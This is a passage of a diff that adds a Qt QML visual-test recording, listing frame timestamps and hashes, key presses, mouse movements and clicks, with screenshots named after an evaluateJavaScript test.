+ Frame {
+ msec: 1952
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1968
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1984
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2000
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2016
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2032
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2048
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2080
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2096
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2112
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2128
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2144
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2160
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2176
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Frame {
+ msec: 2192
+ hash: "44dc10a2914a391b57e68c2002a95adf"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2208
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2224
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2240
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2256
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2272
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2288
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2304
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2320
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2336
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2352
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2368
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2384
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2400
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Frame {
+ msec: 2416
+ hash: "c93921d0611e95373338c14cfcc17481"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2432
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2448
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2464
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2480
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2512
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2528
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2544
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2560
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2576
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2592
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2608
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2624
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2640
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2656
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2672
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2688
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2704
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2720
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2736
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2752
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2768
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2784
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2800
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2816
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2832
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2848
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2864
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2880
+ image: "evaluateJavaScript.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2912
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2928
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2944
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2960
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2976
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 2992
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3008
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3024
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3040
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3056
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3072
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3088
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3104
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3120
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3136
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3152
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3168
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3184
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3200
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3216
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3232
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3248
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3264
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3280
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3296
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3312
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 54; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 53; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3440
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3456
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3472
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3488
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3504
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Frame {
+ msec: 3520
+ hash: "9266775c7f2156977ff56fcd45246229"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 52; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 52; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3552
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3568
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3584
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3600
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3616
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3632
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3648
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 52; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3680
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3696
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3712
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3728
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3744
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3760
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3776
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3792
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3808
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3824
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3840
+ image: "evaluateJavaScript.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3872
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3888
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3904
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3920
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3936
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3952
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3968
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Frame {
+ msec: 3984
+ hash: "b62d9027299daa6ab8304d812ed00f83"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4000
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4016
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4032
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4048
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4064
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4080
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4096
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4112
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4128
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4144
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4160
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4176
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4192
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4208
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4224
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4240
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4256
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4272
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4288
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4304
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4320
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4336
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4352
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4368
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4384
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4400
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4416
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4432
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4448
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4464
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4480
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4496
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4512
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4528
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4544
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4560
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4576
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4592
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4608
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4624
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4640
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4656
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4672
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4688
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4704
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4720
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4736
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4752
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4768
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Frame {
+ msec: 4784
+ hash: "6cea5b700e402072a9953c81b605ef22"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4800
+ image: "evaluateJavaScript.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4832
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4848
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4864
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4880
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4896
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4912
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4928
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4944
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4960
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4976
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 4992
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5008
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5024
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5040
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5056
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5072
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5088
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5104
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5120
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5136
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5152
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5168
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5184
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5200
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5216
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5232
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5248
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5264
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5280
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5296
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5312
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5328
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5344
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5360
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5376
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5392
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5408
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5424
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5440
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5456
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5472
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5488
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5504
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5520
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5536
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5552
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5568
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5584
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5600
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5616
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5632
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5648
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5664
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5680
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5696
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5712
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5728
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5744
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5760
+ image: "evaluateJavaScript.5.png"
+ }
+ Frame {
+ msec: 5776
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5792
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5808
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Frame {
+ msec: 5824
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 54; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 112; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 120; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 124; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 128; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 130; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 100
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 142; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 144; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "792140067e09d04b31e78be1fc9a40a2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 150; y: 68
